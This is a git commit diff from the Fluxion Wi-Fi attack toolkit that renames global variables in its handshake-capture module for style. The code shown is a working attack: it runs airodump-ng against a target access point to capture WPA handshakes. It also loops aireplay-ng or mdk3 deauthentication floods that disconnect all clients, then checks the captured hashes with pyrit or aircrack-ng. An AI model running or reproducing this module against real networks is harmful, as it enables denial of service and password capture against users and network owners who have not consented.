Corrected globals' style to follow guidelines.

This commit is contained in:
Matias Barcenas 2018-03-16 21:23:38 -05:00
parent 74d35a64cd
commit 488b1141c3
1 changed files with 45 additions and 44 deletions

View File

@ -28,7 +28,7 @@ handshake_snooper_arbiter_daemon() {
# NOTE: The line below must remain before trap to prevent race conditions. # NOTE: The line below must remain before trap to prevent race conditions.
local handshake_snooper_arbiter_daemon_state="running" local handshake_snooper_arbiter_daemon_state="running"
function handshake_snooper_arbiter_daemon_abort() { handshake_snooper_arbiter_daemon_abort() {
handshake_snooper_arbiter_daemon_state="aborted" handshake_snooper_arbiter_daemon_state="aborted"
if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then
kill $handshake_snooper_arbiter_daemon_viewerPID kill $handshake_snooper_arbiter_daemon_viewerPID
@ -71,11 +71,11 @@ handshake_snooper_arbiter_daemon() {
now=$(env -i date '+%H:%M:%S') now=$(env -i date '+%H:%M:%S')
echo -e "[$now] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >> \ echo -e "[$now] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log" "$FLUXIONWorkspacePath/handshake_snooper.log"
sleep $HANDSHAKEVerifierInterval & sleep $HandshakeSnooperVerifierInterval &
wait $! # Using wait to asynchronously catch flags while waiting. wait $! # Using wait to asynchronously catch flags while waiting.
# If synchronously searching, stop the captor and deauthenticator before checking. # If synchronously searching, stop the captor and deauthenticator before checking.
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" ]; then if [ "$HandshakeSnooperVerifierSynchronicity" = "blocking" ]; then
now=$(env -i date '+%H:%M:%S') now=$(env -i date '+%H:%M:%S')
echo -e "[$now] $HandshakeSnooperStoppingForVerifierNotice" >> \ echo -e "[$now] $HandshakeSnooperStoppingForVerifierNotice" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log" "$FLUXIONWorkspacePath/handshake_snooper.log"
@ -92,13 +92,13 @@ handshake_snooper_arbiter_daemon() {
now=$(env -i date '+%H:%M:%S') now=$(env -i date '+%H:%M:%S')
echo -e "[$now] $HandshakeSnooperSearchingForHashesNotice" >> \ echo -e "[$now] $HandshakeSnooperSearchingForHashesNotice" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log" "$FLUXIONWorkspacePath/handshake_snooper.log"
hash_check_handshake "$HANDSHAKEVerifierIdentifier" \ hash_check_handshake "$HandshakeSnooperVerifierIdentifier" \
"$FLUXIONWorkspacePath/capture/recent.cap" \ "$FLUXIONWorkspacePath/capture/recent.cap" \
"$FluxionTargetSSID" "$FluxionTargetMAC" "$FluxionTargetSSID" "$FluxionTargetMAC"
handshake_snooper_arbiter_daemon_verified=$? handshake_snooper_arbiter_daemon_verified=$?
# If synchronously searching, restart the captor and deauthenticator after checking. # If synchronously searching, restart the captor and deauthenticator after checking.
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" -a \ if [ "$HandshakeSnooperVerifierSynchronicity" = "blocking" -a \
$handshake_snooper_arbiter_daemon_verified -ne 0 ]; then $handshake_snooper_arbiter_daemon_verified -ne 0 ]; then
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/*" sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/*"
@ -129,15 +129,15 @@ handshake_snooper_arbiter_daemon() {
} }
handshake_snooper_stop_captor() { handshake_snooper_stop_captor() {
if [ "$HANDSHAKECaptorPID" ]; then if [ "$HandshakeSnooperCaptorPID" ]; then
kill -s SIGINT $HANDSHAKECaptorPID &> $FLUXIONOutputDevice kill -s SIGINT $HandshakeSnooperCaptorPID &> $FLUXIONOutputDevice
fi fi
HANDSHAKECaptorPID="" HandshakeSnooperCaptorPID=""
} }
handshake_snooper_start_captor() { handshake_snooper_start_captor() {
if [ "$HANDSHAKECaptorPID" ]; then return 0; fi if [ "$HandshakeSnooperCaptorPID" ]; then return 0; fi
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
handshake_snooper_stop_captor handshake_snooper_stop_captor
@ -147,57 +147,58 @@ handshake_snooper_start_captor() {
airodump-ng --ignore-negative-one -d $FluxionTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $FluxionTargetChannel -a $HandshakeSnooperJammerInterface & airodump-ng --ignore-negative-one -d $FluxionTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $FluxionTargetChannel -a $HandshakeSnooperJammerInterface &
local parentPID=$! local parentPID=$!
while [ ! "$HANDSHAKECaptorPID" ]; do while [ ! "$HandshakeSnooperCaptorPID" ]; do
sleep 1 & sleep 1 &
wait $! wait $!
HANDSHAKECaptorPID=$(pgrep -P $parentPID) HandshakeSnooperCaptorPID=$(pgrep -P $parentPID)
done done
} }
handshake_snooper_stop_deauthenticator() { handshake_snooper_stop_deauthenticator() {
if [ "$HANDSHAKEDeauthenticatorPID" ]; then kill $HANDSHAKEDeauthenticatorPID &>$FLUXIONOutputDevice if [ "$HandshakeSnooperDeauthenticatorPID" ]; then
kill $HandshakeSnooperDeauthenticatorPID &> $FLUXIONOutputDevice
fi fi
HANDSHAKEDeauthenticatorPID="" HandshakeSnooperDeauthenticatorPID=""
} }
handshake_snooper_start_deauthenticator() { handshake_snooper_start_deauthenticator() {
if [ "$HANDSHAKEDeauthenticatorPID" ]; then return 0; fi if [ "$HandshakeSnooperDeauthenticatorPID" ]; then return 0; fi
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
handshake_snooper_stop_deauthenticator handshake_snooper_stop_deauthenticator
# Prepare deauthenticators # Prepare deauthenticators
case "$HANDSHAKEDeauthenticatorIdentifier" in case "$HandshakeSnooperDeauthenticatorIdentifier" in
"$HandshakeSnooperMdk3MethodOption") "$HandshakeSnooperMdk3MethodOption")
echo "$FluxionTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst ;; echo "$FluxionTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst ;;
esac esac
# Start deauthenticators. # Start deauthenticators.
case "$HANDSHAKEDeauthenticatorIdentifier" in case "$HandshakeSnooperDeauthenticatorIdentifier" in
"$HandshakeSnooperAireplayMethodOption") "$HandshakeSnooperAireplayMethodOption")
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \ xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \
-title "Deauthenticating all clients on $FluxionTargetSSID" -e \ -title "Deauthenticating all clients on $FluxionTargetSSID" -e \
"while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $FluxionTargetMAC --ignore-negative-one $HandshakeSnooperJammerInterface; done" & "while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $FluxionTargetMAC --ignore-negative-one $HandshakeSnooperJammerInterface; done" &
HANDSHAKEDeauthenticatorPID=$! HandshakeSnooperDeauthenticatorPID=$!
;; ;;
"$HandshakeSnooperMdk3MethodOption") "$HandshakeSnooperMdk3MethodOption")
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \ xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \
-title "Deauthenticating all clients on $FluxionTargetSSID" -e \ -title "Deauthenticating all clients on $FluxionTargetSSID" -e \
"while true; do sleep 7; timeout 3 mdk3 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $FluxionTargetChannel; done" & "while true; do sleep 7; timeout 3 mdk3 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $FluxionTargetChannel; done" &
HANDSHAKEDeauthenticatorPID=$! HandshakeSnooperDeauthenticatorPID=$!
;; ;;
esac esac
} }
handshake_snooper_unset_deauthenticator_identifier() { handshake_snooper_unset_deauthenticator_identifier() {
if [ ! "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 1; fi if [ ! "$HandshakeSnooperDeauthenticatorIdentifier" ]; then return 1; fi
HANDSHAKEDeauthenticatorIdentifier="" HandshakeSnooperDeauthenticatorIdentifier=""
} }
handshake_snooper_set_deauthenticator_identifier() { handshake_snooper_set_deauthenticator_identifier() {
if [ "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 0; fi if [ "$HandshakeSnooperDeauthenticatorIdentifier" ]; then return 0; fi
handshake_snooper_unset_deauthenticator_identifier handshake_snooper_unset_deauthenticator_identifier
@ -209,11 +210,11 @@ handshake_snooper_set_deauthenticator_identifier() {
) )
io_query_choice "$HandshakeSnooperMethodQuery" methods[@] io_query_choice "$HandshakeSnooperMethodQuery" methods[@]
HANDSHAKEDeauthenticatorIdentifier=$IOQueryChoice HandshakeSnooperDeauthenticatorIdentifier=$IOQueryChoice
echo echo
if [ "$HANDSHAKEDeauthenticatorIdentifier" = \ if [ "$HandshakeSnooperDeauthenticatorIdentifier" = \
"$FLUXIONGeneralBackOption" ]; then "$FLUXIONGeneralBackOption" ]; then
handshake_snooper_unset_deauthenticator_identifier handshake_snooper_unset_deauthenticator_identifier
return 1 return 1
@ -234,7 +235,7 @@ handshake_snooper_unset_jammer_interface() {
handshake_snooper_set_jammer_interface() { handshake_snooper_set_jammer_interface() {
if [ "$HandshakeSnooperJammerInterface" ]; then return 0; fi if [ "$HandshakeSnooperJammerInterface" ]; then return 0; fi
#if [ "$HANDSHAKEDeauthenticatorIdentifier" = \ #if [ "$HandshakeSnooperDeauthenticatorIdentifier" = \
# "$HandshakeSnooperMonitorMethodOption" ]; then return 0; fi # "$HandshakeSnooperMonitorMethodOption" ]; then return 0; fi
if [ ! "$HandshakeSnooperUninitializedJammerInterface" ]; then if [ ! "$HandshakeSnooperUninitializedJammerInterface" ]; then
@ -260,12 +261,12 @@ handshake_snooper_set_jammer_interface() {
} }
handshake_snooper_unset_verifier_identifier() { handshake_snooper_unset_verifier_identifier() {
if [ ! "$HANDSHAKEVerifierIdentifier" ]; then return 1; fi if [ ! "$HandshakeSnooperVerifierIdentifier" ]; then return 1; fi
HANDSHAKEVerifierIdentifier="" HandshakeSnooperVerifierIdentifier=""
} }
handshake_snooper_set_verifier_identifier() { handshake_snooper_set_verifier_identifier() {
if [ "$HANDSHAKEVerifierIdentifier" ]; then return 0; fi if [ "$HandshakeSnooperVerifierIdentifier" ]; then return 0; fi
handshake_snooper_unset_verifier_identifier handshake_snooper_unset_verifier_identifier
@ -280,9 +281,9 @@ handshake_snooper_set_verifier_identifier() {
case "$IOQueryChoice" in case "$IOQueryChoice" in
"$FLUXIONHashVerificationMethodPyritOption") "$FLUXIONHashVerificationMethodPyritOption")
HANDSHAKEVerifierIdentifier="pyrit" ;; HandshakeSnooperVerifierIdentifier="pyrit" ;;
"$FLUXIONHashVerificationMethodAircrackOption") "$FLUXIONHashVerificationMethodAircrackOption")
HANDSHAKEVerifierIdentifier="aircrack-ng" ;; HandshakeSnooperVerifierIdentifier="aircrack-ng" ;;
"$FLUXIONGeneralBackOption") "$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_identifier handshake_snooper_unset_verifier_identifier
return 1 return 1
@ -291,12 +292,12 @@ handshake_snooper_set_verifier_identifier() {
} }
handshake_snooper_unset_verifier_interval() { handshake_snooper_unset_verifier_interval() {
if [ ! "$HANDSHAKEVerifierInterval" ]; then return 1; fi if [ ! "$HandshakeSnooperVerifierInterval" ]; then return 1; fi
HANDSHAKEVerifierInterval="" HandshakeSnooperVerifierInterval=""
} }
handshake_snooper_set_verifier_interval() { handshake_snooper_set_verifier_interval() {
if [ "$HANDSHAKEVerifierInterval" ]; then return 0; fi if [ "$HandshakeSnooperVerifierInterval" ]; then return 0; fi
handshake_snooper_unset_verifier_interval handshake_snooper_unset_verifier_interval
@ -305,11 +306,11 @@ handshake_snooper_set_verifier_interval() {
case "$IOQueryChoice" in case "$IOQueryChoice" in
"$HandshakeSnooperVerifierInterval30SOption") "$HandshakeSnooperVerifierInterval30SOption")
HANDSHAKEVerifierInterval=30 ;; HandshakeSnooperVerifierInterval=30 ;;
"$HandshakeSnooperVerifierInterval60SOption") "$HandshakeSnooperVerifierInterval60SOption")
HANDSHAKEVerifierInterval=60 ;; HandshakeSnooperVerifierInterval=60 ;;
"$HandshakeSnooperVerifierInterval90SOption") "$HandshakeSnooperVerifierInterval90SOption")
HANDSHAKEVerifierInterval=90 ;; HandshakeSnooperVerifierInterval=90 ;;
"$FLUXIONGeneralBackOption") "$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_interval handshake_snooper_unset_verifier_interval
return 1 return 1
@ -318,12 +319,12 @@ handshake_snooper_set_verifier_interval() {
} }
handshake_snooper_unset_verifier_synchronicity() { handshake_snooper_unset_verifier_synchronicity() {
if [ ! "$HANDSHAKEVerifierSynchronicity" ]; then return 1; fi if [ ! "$HandshakeSnooperVerifierSynchronicity" ]; then return 1; fi
HANDSHAKEVerifierSynchronicity="" HandshakeSnooperVerifierSynchronicity=""
} }
handshake_snooper_set_verifier_synchronicity() { handshake_snooper_set_verifier_synchronicity() {
if [ "$HANDSHAKEVerifierSynchronicity" ]; then return 0; fi if [ "$HandshakeSnooperVerifierSynchronicity" ]; then return 0; fi
handshake_snooper_unset_verifier_synchronicity handshake_snooper_unset_verifier_synchronicity
@ -337,9 +338,9 @@ handshake_snooper_set_verifier_synchronicity() {
case "$IOQueryChoice" in case "$IOQueryChoice" in
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption") "$HandshakeSnooperVerifierSynchronicityAsynchronousOption")
HANDSHAKEVerifierSynchronicity="non-blocking" ;; HandshakeSnooperVerifierSynchronicity="non-blocking" ;;
"$HandshakeSnooperVerifierSynchronicitySynchronousOption") "$HandshakeSnooperVerifierSynchronicitySynchronousOption")
HANDSHAKEVerifierSynchronicity="blocking" ;; HandshakeSnooperVerifierSynchronicity="blocking" ;;
"$FLUXIONGeneralBackOption") "$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_synchronicity handshake_snooper_unset_verifier_synchronicity
return 1 return 1
@ -432,11 +433,11 @@ prep_attack() {
} }
stop_attack() { stop_attack() {
if [ "$HANDSHAKEArbiterPID" ]; then if [ "$HandshakeSnooperArbiterPID" ]; then
kill -s SIGABRT $HANDSHAKEArbiterPID &> $FLUXIONOutputDevice kill -s SIGABRT $HandshakeSnooperArbiterPID &> $FLUXIONOutputDevice
fi fi
HANDSHAKEArbiterPID="" HandshakeSnooperArbiterPID=""
HandshakeSnooperState="Stopped" HandshakeSnooperState="Stopped"
} }
@ -447,7 +448,7 @@ start_attack() {
HandshakeSnooperState="Running" HandshakeSnooperState="Running"
handshake_snooper_arbiter_daemon $$ &> $FLUXIONOutputDevice & handshake_snooper_arbiter_daemon $$ &> $FLUXIONOutputDevice &
HANDSHAKEArbiterPID=$! HandshakeSnooperArbiterPID=$!
} }
# FLUXSCRIPT END # FLUXSCRIPT END